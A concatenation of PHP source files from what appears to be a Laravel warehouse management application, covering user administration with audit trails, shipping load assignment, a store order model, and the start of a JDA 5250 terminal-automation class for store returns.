$rules = array(
'firstname' => 'required|min:2',
'lastname' => 'required|min:2',
/*'barcode' => 'unique:users,barcode,' . Input::get('id') . ',id,deleted_at,0000-00-00 00:00:00',*/
'role_id' => 'required',
);
$validator = Validator::make(Input::all(), $rules);
if ($validator->fails()) {
$route = (Input::get('mode') == 'user') ? 'user/update' . $this->setURL() .'&id=' . Input::get('id') : 'user/profile';
return Redirect::to($route)->withErrors($validator)->withInput();
} else {
// AuditTrail
$user = User::find(Input::get('id'));
$role_name = '';
if (UserRoles::find($user->role_id)!=NULL) {
$role = UserRoles::find($user->role_id);
$role_name = $role->role_name;
}
$brand_name = '';
if (Brands::find($user->brand_id)!=NULL) {
$brand = Brands::find($user->brand_id);
$brand_name = $brand->brand_name;
}
$data_before = 'Username: ' . $user->username . '<br />' .
'First Name: ' . $user->firstname . '<br />' .
'Last Name: ' . $user->lastname . '<br />' .
/* 'Barcode: ' . $user->barcode . '<br />' .*/
'Role: ' . $role_name . '<br />' .
'Brand: ' . $brand_name;
// AuditTrail
// Update User Details
$arrParams = array(
'firstname' => Input::get('firstname'),
'lastname' => Input::get('lastname'),
/*'barcode' => ( Input::get('role_id') == 2 ) ? '' : Input::get('barcode'),*/ //if admin no barcode must empty
'store_code' => Input::get('filter_store'),
'role_id' => Input::get('role_id'),/*
'brand_id' => Input::get('brand'),*/
'updated_at' => date('Y-m-d H:i:s')
);
User::updateUser(Input::get('id'), $arrParams);
// AuditTrail
$role = UserRoles::find(Input::get('role_id'));
$brand = Brands::find(Input::get('brand'));
$data_after = 'Username: ' . Input::get('username') . '<br />' .
'First Name: ' . Input::get('firstname') . '<br />' .
'Last Name: ' . Input::get('lastname') . '<br />' .
/* 'Barcode: ' . Input::get('barcode') . '<br />' .*/
'Role: ' . $role_name . '<br />' .
'Brand: ' . $brand_name;
$arrParams = array(
'module' => 'Users',
'action' => 'Modified User',
'reference' => Input::get('username'),
'data_before' => $data_before,
'data_after' => $data_after,
'user_id' => Auth::user()->id,
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
// AuditTrail
$route = (Input::get('mode') == 'user') ? 'user' . $this->setURL() : 'user/profile';
return Redirect::to($route)->with('success', Lang::get('users.text_success_update'));
}
}
public function updatePasswordForm() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanChangePasswordUsers', unserialize(Session::get('permissions'))) || Input::get('id')=='1' || User::find(Input::get('id'))==NULL) {
return Redirect::to('user' . $this->setURL());
}
} else {
return Redirect::to('users/logout');
}
$this->data['heading_title_password'] = Lang::get('users.heading_title_password');
$this->data['entry_password'] = Lang::get('users.entry_password');
$this->data['entry_confirm_password'] = Lang::get('users.entry_confirm_password');
$this->data['button_submit'] = Lang::get('general.button_submit');
$this->data['button_cancel'] = Lang::get('general.button_cancel');
// URL
$this->data['url_cancel'] = URL::to('user' . $this->setURL());
// Search Filters
$this->data['filter_username'] = Input::get('filter_username');
$this->data['filter_barcode'] = Input::get('filter_barcode');
$this->data['filter_user_role'] = Input::get('filter_user_role');
$this->data['sort'] = Input::get('sort', 'username');
$this->data['order'] = Input::get('order', 'ASC');
// Data
$this->data['user'] = User::find(Input::get('id'));
$this->layout->content = View::make('users.password', $this->data);
}
public function updatePassword() {
// Check Permissions
if (Session::has('permissions')) {
if ((!in_array('CanChangePasswordUsers', unserialize(Session::get('permissions'))) || Input::get('id')=='1' || User::find(Input::get('id'))==NULL) && Input::get('mode') == 'user') {
return Redirect::to('user' . $this->setURL());
}
} else {
return Redirect::to('users/logout');
}
$rules = array(
'password' => '<PASSWORD>|between:6,12|<PASSWORD>',
'password_confirmation' => '<PASSWORD>:6,12',
);
$validator = Validator::make(Input::all(), $rules);
if ($validator->fails()) {
$route = (Input::get('mode') == 'user') ? 'user/password' . $this->setURL() .'&id=' . Input::get('id') : 'user/change_password';
return Redirect::to($route)->withErrors($validator)->withInput();
} else {
$arrParams = array(
'password' => <PASSWORD>(Input::get('password')),
'updated_at' => date('Y-m-d H:i:s')
);
User::updateUser(Input::get('id'), $arrParams);
// AuditTrail
$user = User::find(Input::get('id'));
$data_before = '';
$data_after = 'Set New Password';
$arrParams = array(
'module' => 'Users',
'action' => 'Changed Password',
'reference' => $user->username,
'data_before' => $data_before,
'data_after' => $data_after,
'user_id' => Auth::user()->id,
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
// AuditTrail
$route = (Input::get('mode') == 'user') ? 'user' . $this->setURL() : 'user/change_password';
return Redirect::to($route)->with('success', Lang::get('users.text_success_password'));
}
}
public function deleteData() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanDeleteUsers', unserialize(Session::get('permissions')))) {
return Redirect::to('user' . $this->setURL());
}
} else {
return Redirect::to('users/logout');
}
$rules = array(
'selected' => 'required'
);
$validator = Validator::make(Input::all(), $rules);
if ($validator->fails()) {
return Redirect::to('user');
} else {
User::deleteUser(Input::get('selected'));
// AuditTrail
$arrDeleted = array();
foreach (Input::get('selected') as $id) {
$info = User::find($id);
$arrDeleted[] = $info->username;
}
$data_before = '';
$data_after = 'Deleted: ' . implode(', ', $arrDeleted);
$arrParams = array(
'module' => 'Users',
'action' => 'Deleted Users',
'reference' => implode(', ', $arrDeleted),
'data_before' => $data_before,
'data_after' => $data_after,
'user_id' => Auth::user()->id,
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
// AuditTrail
return Redirect::to('user' . $this->setURL())->with('success', Lang::get('users.text_success_delete'));
}
}
protected function getList() {
$this->data['heading_title'] = Lang::get('users.heading_title');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$this->data['text_total'] = Lang::get('general.text_total');
$this->data['text_confirm'] = Lang::get('general.text_confirm');
$this->data['label_filter_username'] = Lang::get('users.label_filter_username');
$this->data['label_filter_barcode'] = Lang::get('users.label_filter_barcode');
$this->data['label_filter_user_role'] = Lang::get('users.label_filter_user_role');
$this->data['col_id'] = Lang::get('users.col_id');
$this->data['col_username'] = Lang::get('users.col_username');
$this->data['col_barcode'] = Lang::get('users.col_barcode');
$this->data['col_name'] = Lang::get('users.col_name');
$this->data['col_user_role'] = Lang::get('users.col_user_role');
$this->data['col_brand'] = Lang::get('users.col_brand');
$this->data['col_date'] = Lang::get('users.col_date');
$this->data['col_action'] = Lang::get('users.col_action');
$this->data['button_search'] = Lang::get('general.button_search');
$this->data['button_clear'] = Lang::get('general.button_clear');
$this->data['button_export'] = Lang::get('general.button_export');
$this->data['button_insert'] = Lang::get('users.button_insert');
$this->data['button_delete'] = Lang::get('users.button_delete');
$this->data['link_edit'] = Lang::get('general.link_edit');
$this->data['link_change_password'] = Lang::get('general.link_change_password');
$this->data['error_delete'] = Lang::get('general.error_delete');
// URL
$url = $this->setURL();
$this->data['url_insert'] = URL::to('user/insert' . $url);
$this->data['url_update'] = URL::to('user/update' . $url);
$this->data['url_password'] = URL::to('user/password' . $url);
$this->data['url_export'] = URL::to('user/export' . $url);
// Messages
$this->data['error'] = '';
$this->data['success'] = '';
if (Session::has('success')) {
$this->data['success'] = Session::get('success');
}
// Search Options
$user_roles = array();
foreach (UserRoles::getUserRolesOptions() as $item) {
$user_roles[$item->id] = $item->role_name;
}
$this->data['filter_user_role_options'] = array('' => Lang::get('general.text_select')) + $user_roles;
// Search Filters
$filter_username = Input::get('filter_username', NULL);
$filter_barcode = Input::get('filter_barcode', NULL);
$filter_user_role = Input::get('filter_user_role', NULL);
// Data
$sort = Input::get('sort', 'username');
$order = Input::get('order', 'ASC');
$page = Input::get('page', 1);
$arrParams = array(
'filter_username' => $filter_username,
'filter_barcode' => $filter_barcode,
'filter_user_role' => $filter_user_role,
'sort' => $sort,
'order' => $order,
'page' => $page,
'limit' => 30
);
$results = User::getUsers($arrParams);
$results_total = User::getUsers($arrParams,true);
// Pagination
$this->data['arrFilters'] = array(
'filter_username' => $filter_username,
'filter_barcode' => $filter_barcode,
'filter_user_role' => $filter_user_role,
'sort' => $sort,
'order' => $order
);
$this->data['users'] = Paginator::make($results, $results_total, 30);
$this->data['users_count'] = $results_total;
$this->data['counter'] = $this->data['users']->getFrom();
$this->data['filter_username'] = $filter_username;
$this->data['filter_barcode'] = $filter_barcode;
$this->data['filter_user_role'] = $filter_user_role;
$this->data['sort'] = $sort;
$this->data['order'] = $order;
$this->data['page'] = $page;
$url = '?filter_username=' . $filter_username . '&filter_barcode=' . $filter_barcode;
$url .= '&filter_user_role=' . $filter_user_role;
$url .= '&page=' . $page;
$order_id = ($sort=='id' && $order=='ASC') ? 'DESC' : 'ASC';
$order_username = ($sort=='username' && $order=='ASC') ? 'DESC' : 'ASC';
$order_barcode = ($sort=='barcode' && $order=='ASC') ? 'DESC' : 'ASC';
$order_name = ($sort=='name' && $order=='ASC') ? 'DESC' : 'ASC';
$order_role = ($sort=='role' && $order=='ASC') ? 'DESC' : 'ASC';
$order_brand = ($sort=='brand' && $order=='ASC') ? 'DESC' : 'ASC';
$order_date = ($sort=='date' && $order=='ASC') ? 'DESC' : 'ASC';
$this->data['sort_id'] = URL::to('user' . $url . '&sort=id&order=' . $order_id, NULL, FALSE);
$this->data['sort_username'] = URL::to('user' . $url . '&sort=username&order=' . $order_username, NULL, FALSE);
$this->data['sort_barcode'] = URL::to('user' . $url . '&sort=barcode&order=' . $order_barcode, NULL, FALSE);
$this->data['sort_name'] = URL::to('user' . $url . '&sort=name&order=' . $order_name, NULL, FALSE);
$this->data['sort_role'] = URL::to('user' . $url . '&sort=role&order=' . $order_role, NULL, FALSE);
$this->data['sort_brand'] = URL::to('user' . $url . '&sort=brand&order=' . $order_brand, NULL, FALSE);
$this->data['sort_date'] = URL::to('user' . $url . '&sort=date&order=' . $order_date, NULL, FALSE);
// Permissions
$this->data['permissions'] = unserialize(Session::get('permissions'));
$this->layout->content = View::make('users.list', $this->data);
}
protected function setURL() {
// Search Filters
$url = '?filter_username=' . Input::get('filter_username', NULL);
$url .= '&filter_store=' . Input::get('filter_store', NULL);
$url .= '&filter_user_role=' . Input::get('filter_user_role', NULL);
$url .= '&sort=' . Input::get('sort', 'username');
$url .= '&order=' . Input::get('order', 'ASC');
$url .= '&page=' . Input::get('page', 1);
return $url;
}
}<file_sep><?php
class ApiSlots extends BaseController {
public function __construct() {
date_default_timezone_set('Asia/Manila');
}
/**
* Get boxes by store
*
* @example www.example.com/api/{version}/slot/is_exist
* @return boxes
*/
public static function getIsSlotExist()
{
try {
CommonHelper::setRequiredFields(array('slot_code'));
$slotCode = Request::get('slot_code');
$slot = SlotList::isSlotExist($slotCode);
return CommonHelper::return_success_message($slot);
} catch (Exception $e) {
return CommonHelper::return_fail($e->getMessage());
}
}
}<file_sep><?php
class shippingController extends \BaseController {
private $data = array();
protected $layout = "layouts.main";
public function __construct() {
$this->beforeFilter('csrf', array('on' => 'post'));
$this->beforeFilter('auth', array('only'=> array('Dashboard')));
$this->apiUrl = Config::get('constant.api_url');
date_default_timezone_set('Asia/Manila');
// $receiving = "classes/receive_po.php 20283";
// CommonHelper::execInBackground($receiving);
}
/**
* Display a listing of the resource.
*
* @return Response
*/
public function index()
{
//
$this->getlist();
}
public function getlist()
{
$this->data['stock_piler_list'] = $this->getStockPilers();
$this->data = Lang::get('loads');
//$filter_stock_piler = Input::get('filter_stock_piler', NULL);
//$sort = Input::get('sort', 'load_code');
//$order = Input::get('order', 'ASC');
//$page = Input::get('page', 1);
$this->data['filter_load_code'] = Input::get('filter_load_code', NULL);
$this->data['filter_stock_piler'] = Input::get('filter_stock_piler', NULL);
$this->data['filter_entry_date'] = Input::get('filter_entry_date', NULL);
$this->data['url_print_shit'] = URL::to('load/printloadingsheet');
$this->data['url_back'] = URL::to('load/shipping');
$this->data['sort'] = Input::get('sort', 'load_code');
$this->data['order'] = Input::get('order', 'DESC');
$this->data['page'] = Input::get('page', 1);
$this->data['url_export'] = URL::to('load/export');
$taggingload = Input::get('taggingload', NULL);
$arrparam=$arrayName = array(
'filter_load_code' => $this->data['filter_load_code'],
'filter_assigned_to_user_id'=> $this->data['filter_stock_piler'],
'filter_entry_date' => $this->data['filter_entry_date'],
'sort' => $this->data['sort'],
'order' => $this->data['order'],
'page' => $this->data['page']
);
$results = Load::getlist($arrparam);
$results_total = Load::getlist($arrparam,True);
$this->data['load_list'] = Paginator::make($results, $results_total, 30);
$this->data['list_count'] = $results_total;
$this->data['arrparam'] = $arrparam;
$this->data['counter'] = $this->data['load_list']->getFrom();
$this->data['taggingload'] = $taggingload;
$this->data['permissions'] = unserialize(Session::get('permissions'));
$url = '?filter_load_code=' . $this->data['filter_load_code'];
$url .= '&filter_assigned_to_user_id=' . $this->data['filter_stock_piler'];
$url .= '&page=' .$this->data['page'];
$order_load_code = ($this->data['sort']=='load_code' && $this->data['order']=='ASC') ? 'DESC' : 'ASC';
$order_date_created = ($this->data['sort']=='load.created_at'&& $this->data['order']=='ASC') ? 'DESC' : 'ASC';
$order_ship_at = ($this->data['sort']=='ship_at'&& $this->data['order']=='ASC') ? 'DESC' : 'ASC';
$this->data['sort_load_code'] = URL::to('load/shipping' . $url .'&sort=load_code&order=' . $order_load_code, NULL, FALSE);
$this->data['sort_date_created'] = URL::to('shipping/list' . $url . '&sort=load.created_at&order=' . $order_date_created, NULL, FALSE);
$this->data['sort_ship_at'] = URL::to('shipping/list' . $url . '&sort=ship_at&order=' . $order_ship_at, NULL, FALSE);
$this->data['url_generate_load_code'] = URL::to('box/new/load');
$this->data['url_closepicklist'] = URL::to('picking/close');
$this->data['url_shipped'] = URL::to('load/shipLoad');
$this->layout->content=view::make('loads.shipping',$this->data);
}
public function getStockStransferLoad()
{
$this->data['stock_piler_list'] = $this->getStockPilers();
$this->data = Lang::get('loads');
$this->data['filter_load_code'] = Input::get('filter_load_code', NULL);
$this->data['filter_stock_piler'] = Input::get('filter_stock_piler', NULL);
$this->data['filter_entry_date'] = Input::get('filter_entry_date', NULL);
$this->data['sort'] = Input::get('sort', 'load_code');
$this->data['order'] = Input::get('order', 'DESC');
$this->data['page'] = Input::get('page', 1);
$this->data['url_export'] = URL::to('load/export');
$taggingload = Input::get('taggingload', NULL);
$arrparam=$arrayName = array(
'filter_load_code' => $this->data['filter_load_code'],
'filter_assigned_to_user_id'=> $this->data['filter_stock_piler'],
'filter_entry_date' => $this->data['filter_entry_date'],
'sort' => $this->data['sort'],
'order' => $this->data['order'],
'page' => $this->data['page']
);
$results = Load::getliststock($arrparam);
$results_total = Load::getliststock($arrparam,True);
$this->data['load_list'] = Paginator::make($results, $results_total, 30);
$this->data['list_count'] = $results_total;
$this->data['arrparam'] = $arrparam;
$this->data['counter'] = $this->data['load_list']->getFrom();
$this->data['permissions'] = unserialize(Session::get('permissions'));
$url = '?filter_load_code=' . $this->data['filter_load_code'];
$url .= '&filter_assigned_to_user_id=' . $this->data['filter_stock_piler'];
$url .= '&filter_entry_date='. $this->data['filter_entry_date'];
$url .= '&page=' .$this->data['page'];
$this->data['url_generate_load_code'] = URL::to('stock/new/load');
$this->layout->content=view::make('store_return.stocktransfer_load',$this->data);
}
public function assignPilerForm() {
if (Session::has('permissions')) {
if (!in_array('CanAssignPacking', unserialize(Session::get('permissions')))) {
return Redirect::to('purchase_order');
}
} else {
return Redirect::to('users/logout');
}
// Search Filters
$filter_load_code = Input::get('filter_load_code', NULL);
$filter_assigned_to_user_id = Input::get('filter_assigned_to_user_id', NULL);
$filter_ship_at = Input::get('filter_ship_at', NULL);
//$filter_store = Input::get('filter_store', NULL);
//$filter_stock_piler = Input::get('filter_stock_piler', NULL);
$sort = Input::get('sort', 'load_code');
$order = Input::get('order', 'DESC');
$page = Input::get('page', 1);
$this->data = Lang::get('box');
$this->data['load_code'] = Input::get('load_code');
$this->data['params'] = explode(',', Input::get('load_code'));
$this->data['info'] = Load::getInfoLoad($this->data['params']);
$this->data['stock_piler_list'] = $this->getStockPilers();
$this->data['filter_assigned_to_user_id'] = $filter_assigned_to_user_id;
$this->data['sort'] = $sort;
$this->data['order'] = $order;
$this->data['page'] = $page;
$this->data['url_back'] = URL::to('load/shipping'). $this->setURL();
/*
$this->data['filter_type'] = $filter_type;
$this->data['filter_doc_no'] = $filter_doc_no;
$this->data['filter_status'] = $filter_status;
$this->data['filter_store'] = $filter_store;
*/
$this->layout->content = View::make('loads.shipping_assign_piler', $this->data);
}
protected function setURL($forDetail = false, $forBackToList = false) {
// Search Filters
$url = '?filter_load_code=' . Input::get('filter_load_code', NULL);
$url .= '&filter_assigned_to_user_id=' . Input::get('filter_assigned_to_user_id', NULL);
$url .= '&filter_entry_date=' . Input::get('filter_entry_date', NULL);
if($forDetail) {
$url .= '&sort_back=' . Input::get('sort', 'load_code');
$url .= '&order_back=' . Input::get('order', 'DESC');
$url .= '&page_back=' . Input::get('page', 1);
} else {
if($forBackToList == true) {
$url .= '&sort=' . Input::get('sort_back', 'load_code');
$url .= '&order=' . Input::get('order_back', 'DESC');
$url .= '&page=' . Input::get('page_back', 1);
} else {
$url .= '&sort=' . Input::get('sort', 'load_code');
$url .= '&order=' . Input::get('order', 'DESC');
$url .= '&page=' . Input::get('page', 1);
}
}
return $url;
}
public function assignToPiler() {
// Check Permissions
$pilers = implode(',' , Input::get('stock_piler'));
//get moved_to_reserve id
//arrParams = array('data_code' => 'BOX_STATUS_TYPE', 'data_value'=> 'assigned');
//oxStatus = Dataset::getType($arrParams)->toArray();
$arrBoxCode = explode(',', Input::get("load_code"));
$box_codes = Input::get('load_code', null);
foreach ($arrBoxCode as $codes) {
$arrParams = array(
'assigned_by' => Auth::user()->id,
'assigned_to_user_id' => $pilers, //Input::get('stock_piler'),
'updated_at' => date('Y-m-d H:i:s')
);
load::assignToStockPiler($codes, $arrParams);
// AuditTrail
$users = User::getUsersFullname(Input::get('stock_piler'));
$fullname = implode(', ', array_map(function ($entry) { return $entry['name']; }, $users));
$data_before = '';
$data_after = 'Pell number : ' . $box_codes . ', assigned to :' . $fullname;
$arrParams = array(
'module' => Config::get('audit_trail_modules.loading/shipping'),
'action' => Config::get('audit_trail.assign_load'),
'reference' => 'Pell number '. $box_codes. ', ',
'data_before' => $data_before,
'data_after' => $data_after,
'user_id' => Auth::user()->id,
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
}
AuditTrail::addAuditTrail($arrParams);
// AuditTrail
return Redirect::to('load/shipping' . $this->setURL())->with('message','Successfully assigned the Load!');
}
private function getStockPilers()
{
$stock_pilers = array();
foreach (User::getStockPilerOptions() as $item) {
$stock_pilers[$item->id] = $item->firstname . ' ' . $item->lastname;
}
return array('' => 'Please Select') + $stock_pilers;
}
/**
* Show the form for creating a new resource.
*
* @return Response
*/
public function create()
{
//
}
/**
* Store a newly created resource in storage.
*
* @return Response
*/
public function store()
{
//
}
/**
* Display the specified resource.
*
* @param int $id
* @return Response
*/
public function show($id)
{
//
}
/**
* Show the form for editing the specified resource.
*
* @param int $id
* @return Response
*/
public function edit($id)
{
//
}
/**
* Update the specified resource in storage.
*
* @param int $id
* @return Response
*/
public function update($id)
{
//
}
/**
* Remove the specified resource from storage.
*
* @param int $id
* @return Response
*/
public function destroy($id)
{
//
}
}
<file_sep><?php
class StoreOrder extends Eloquent {
protected $table = 'store_order';
/*************All functions used specifically only for API***************/
/**
* Gets products for the store using store order list
*
* @example StoreOrder::getLoadList();
* @param storeCode store code
*
* @return upcs
*/
public static function getLoadList($storeCode)
{
/*$loads = DB::select(DB::raw("select wso.load_code,(SELECT group_concat( concat( so_no ) SEPARATOR ', ') FROM wms_store_order where load_code = wso.load_code AND store_code = {$storeCode} AND so_status = ".Config::get('so_statuses.done')." ) so_no , substring('test') as test
from wms_store_order wso
where store_code = {$storeCode} AND so_status = ".Config::get('so_statuses.done')." AND load_code != '0'
group by load_code" ));
*/
$loads= StoreOrder::select(DB::raw('load_code,group_concat(RTRIM(so_no)) as so_no'))
->where('store_code', '=', $storeCode)
->where('so_status', '=', Config::get("so_statuses.done"))
->where('load_code', '!=', '0')
->groupBy('load_code')
->get();
if($loads->isEmpty()) throw new Exception("This store does not have delivery loads");
return $loads;
}
public static function closeStoreOrdersByLoad($loadCode, $storeCode)
{
StoreOrder::where('load_code', '=', $loadCode)
->where('store_code', '=', $storeCode)
->update(array(
'so_status' => Config::get('so_statuses.closed'),
'updated_at' => date('Y-m-d H:i:s'),
'delivery_date' => date('Y-m-d H:i:s')
));
return true;
}
/*************All functions used specifically only for CMS***************/
public static function getSOInfo($so_id = NULL) {
$query = DB::table('store_order')
->join('dataset', 'store_order.so_status', '=', 'dataset.id', 'LEFT')
->where('store_order.id', '=', $so_id);
$result = $query->get(array(
'store_order.*',
'dataset.data_display',
)
);
return $result[0];
}
public static function getSOList($data = array())
{
$query = DB::table('store_order')
->join('stores', 'store_order.store_code', '=', 'stores.store_code', 'LEFT');
if( CommonHelper::hasValue($data['filter_so_no']) ) $query->where('so_no', 'LIKE', '%'.$data['filter_so_no'].'%');
if( CommonHelper::hasValue($data['filter_store']) ) $query->where('store_order.store_code', 'LIKE', $data['filter_store']);
if( CommonHelper::hasValue($data['filter_order_date']) ) $query->where('order_date', 'LIKE', '%'.$data['filter_order_date'].'%');
if( CommonHelper::hasValue($data['filter_status']) ) $query->where('so_status', 'LIKE', '%'.$data['filter_status'].'%');
if( CommonHelper::hasValue($data['sort']) && CommonHelper::hasValue($data['order'])) {
if ($data['sort']=='so_no') $data['sort'] = 'so_no';
if ($data['sort']=='store') $data['sort'] = 'store_name';
if ($data['sort']=='order_date') $data['sort'] = 'order_date';
$query->orderBy($data['sort'], $data['order']);
}
if( CommonHelper::hasValue($data['limit']) && CommonHelper::hasValue($data['page'])) {
$query->skip($data['limit'] * ($data['page'] - 1))
->take($data['limit']);
}
$storeOrders = $query->get(array(
'store_order.*',
'stores.store_name'
)
);
DebugHelper::log(__METHOD__, $storeOrders);
return $storeOrders;
}
public static function getCount($data = array()){
$query = DB::table('store_order')
->join('stores', 'store_order.store_code', '=', 'stores.store_code', 'LEFT');
if( CommonHelper::hasValue($data['filter_so_no']) ) $query->where('so_no', 'LIKE', '%'.$data['filter_so_no'].'%');
if( CommonHelper::hasValue($data['filter_store']) ) $query->where('store_order.store_code', 'LIKE', $data['filter_store']);
if( CommonHelper::hasValue($data['filter_order_date']) ) $query->where('order_date', 'LIKE', '%'.$data['filter_order_date'].'%');
if( CommonHelper::hasValue($data['filter_status']) ) $query->where('so_status', 'LIKE', '%'.$data['filter_status'].'%');
return $query->count();
}
public static function getStoreList(){
$storeList = DB::table('store_order')->lists('store_code');
return $storeList;
}
public static function updateLoadCode($soNumbers, $loadCode)
{
// StoreOrder::where('so_no', '=', $soNumber)
$update = StoreOrder::whereIn('so_no', $soNumbers)
->update(array(
'load_code' => $loadCode,
'so_status' => Config::get('so_statuses.done'),
'updated_at' => date('Y-m-d H:i:s')));
return $update;
}
/***********************Unused functions *****************************************/
/*
*
* change letdown status to 1 so that it will be queried
*
*/
/* public static function closeLtStatus($soNos)
{
StoreOrder::whereIn('so_no', $soNos)
->update(array('lt_status_closed' => 1,
'updated_at' => date('Y-m-d H:i:s')
));
return;
}
//make this dry
public static function updateStoreOrder($so_no)
{
StoreOrder::where('so_no',"=", $so_no)
->update(array(
'so_status' => Config::get('statuses.done'),
'datetime_done' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')));
return;
}
*/
/**
* Check if the the letdown document is assigned
*
*/
/* public static function checkAndAssign($storesOrderNos, $id)
{
$storeOrders = StoreOrder::whereIn('so_no',$storesOrderNos)
->where('order_date' , '<=', date('Y-m-d H:i:s'))
->lists('assigned_user_id');
if($storeOrders === null) {
throw new Exception("The store you are accessing does not exist or does not have an existing store order.");
}
if(in_array(0, $storeOrders)) {
StoreOrder::assignStore($storesOrderNos, $id);
} else {
if(!in_array($id, $storeOrders)) {
throw new Exception("This Store has already been assigned");
}
}
return true;
}*/
/**
* Gets stores with items in the picking area that are approved
*
*/
/* public static function getStoresWithOrders()
{
//$storeCodes = StoreOrder::select('store_order.id', 'store_order.store_code', 'store_order.so_status', 'store_order.assigned_user_id', 'store_order.lt_status_closed','store_order.order_date', 'stores.store_name', 'letdown_details.move_doc_number')
$storeCodes = StoreOrder::select('store_order.id', 'store_order.store_code', 'store_order.so_status', 'store_order.assigned_user_id', 'store_order.lt_status_closed','store_order.order_date', 'stores.store_name')
//->leftJoin('letdown_details', 'letdown_details.so_no', '=', 'store_order.so_no')
->leftJoin('stores', 'store_order.store_code', '=', 'stores.store_code')
->whereIn('store_order.so_status' ,array(1,2))
->where('store_order.lt_status_closed' , '=', 1)
->groupBy('store_order.store_code')
//->groupBy( 'letdown_details.move_doc_number', 'store_order.store_code')
->get();
return $storeCodes;
}
*/
/*
*
* Get store order Ids of a given store in a given date in list form
*
*/
/* public static function getStoreOrderNumbers($storeCode, $docNo = null)
{
$storesOrderIds = StoreOrder::where('store_order.store_code', '=', $storeCode)
->where('store_order.order_date' , '<=', date('Y-m-d H:i:s'));
if($docNo !== null) {
$storesOrderIds->select('store_order.so_no as so_no')
->join('letdown_details', 'letdown_details.so_no', '=', 'store_order.so_no')
->where('letdown_details.move_doc_number', '=' ,$docNo)
->groupBy('store_order.so_no');
}
return $storesOrderIds->lists('so_no');
}
*/
/*
*
* Assign store/store orders, placed this here because it is actually accessing store orders, not stores but displayes as stores in client
*
*/
/* public static function assignStore($storesOrderNos, $id)
{
StoreOrder::whereIn('so_no',$storesOrderNos)
->update(array('assigned_user_id' => $id));
return true;
}*/
/*
public static function checkStoreOrderStatus($so_no)
{
//TODO not final
$storeOrder = StoreOrder::where('so_no', '=', $so_no)
->where('so_status' , '!=', Config::get('statuses.open'))
->get()
->toArray();
DebugHelper::log(__METHOD__, $storeOrder);
if(count($storeOrder) > 0) {
throw new Exception("This store order is already being processed or has already been processed");
}
}
public static function getStoreOrders()
{
$storeOrders = StoreOrder::select('id','so_no', 'store_name', 'so_status')
->whereIn('so_status', array(Config::get('statuses.open'), Config::get('statuses.inProcess'), Config::get('statuses.done')))
->where('order_date' , '<=', date('Y-m-d H:i:s'))
->paginate(30);
return $storeOrders;
}
*/
}
<file_sep><?php
include_once(__DIR__.'/../core/jda5250_helper.php');
include_once(__DIR__.'/../sql/mysql.php');
class storeReturn extends jdaCustomClass
{
private static $formMsg = "";
public static $user = 'SYS';
private static $lagging = false;
/*
STORE RETURN
NOTES
>first attempt: all rows must have received qty (bug)
>what happens to transferred batch (daemon at syncclosing)
>how to detect sku that don't exist in jda
>pagination
>invalid slot errorif f5 found not in 1st page
>
*master menu
09
*transfers/return to vendor
01
*transfer management
17
*transfer receipts entry
6097
*transfer receipts menu
1
*transfer receipt maintenance-sku
TAB
MA1C1L1
*if sku not exist : add
f9
enter sku
tab
>>enter quantity
f7
12 max tab
pg dn (roll up)
>pack received quantity
f10
*
enter
check
09
01
29
06
check slot
13
24
03
check bg process
sr header -1 status
delete in sr detail
check logs for output
data
6288
6289
6290
6295
6296
6303
6304
6305
6306
*/
public function __construct() {
// parent::__construct();
self::$formMsg = __METHOD__;
parent::logError(self::$formMsg, __METHOD__);
parent::login();
}
private static function enterTransfers()
{
#enter merchandising
parent::$jda->screenWait("Transfers/Return to Vendor");
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(array(array("09",22,44)),ENTER,true);
echo "Entered: Transfers/Return to Vendor \n";
}
private static function enterTransferManagement()
{
parent::$jda->screenWait("Transfer Management");
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(array(array("01",22,44)),ENTER,true);
echo "Entered: Transfer Management \n";
}
private static function enterReceiveTransfer()
{
parent::$jda->screenWait("Receive Transfers");
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(array(array("17",22,44)),ENTER,true);
echo "Entered: Receive Transfers \n";
}
public function enterTransferNumber($transfer_no)
{
parent::$jda->screenWait("Transfer Number");
parent::display(parent::$jda->screen,132);
$formValues = array();//values to enter to form
// $formValues[] = array(sprintf("%2d", $transfer_no),10,44);
$formValues[] = array(sprintf("%-8d", $transfer_no),10,44);
parent::$jda->write5250($formValues,ENTER,true);
return self::enterSKUNumber($transfer_no,__METHOD__);
}
public function enterSKUNumber($transfer_no,$source)
{
parent::$jda->screenWait("SKU Number");
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(array(array("1",19,52)),ENTER,true);
echo "Entered: SKU Number \n";
return self::checkTransferNumber($transfer_no,$source);
}
private static function checkTransferNumber($transfer_no,$source)
{
if(parent::$jda->screenCheck('Transfer batch not in shipped status.')) {
$transfer_message="Transfer batch not in shipped status.";
self::$formMsg = "{$transfer_no}: {$transfer_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($transfer_no,"{$source}: {$transfer_message}", TRUE);
return false;
}
if(parent::$jda->screenCheck('Transfer batch invalid')) {
$transfer_message="Transfer batch invalid.";
self::$formMsg = "{$transfer_no}: {$transfer_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($transfer_no,"{$source}: {$transfer_message}", TRUE);
return false;
}
if(parent::$jda->screenCheck('Transfer is being modified by another user.')) {
$transfer_message='Transfer is being modified by another user.';
self::$formMsg = "{$transfer_no}: {$transfer_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($transfer_no,"{$source}: {$transfer_message}", TRUE);
return false;
}
if(parent::$jda->screenCheck('Transfer is carton-manifested-use load receiving.')) {
$transfer_message='Transfer is carton-manifested-use load receiving.';
self::$formMsg = "{$transfer_no}: {$transfer_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($transfer_no,"{$source}: {$transfer_message}", TRUE);
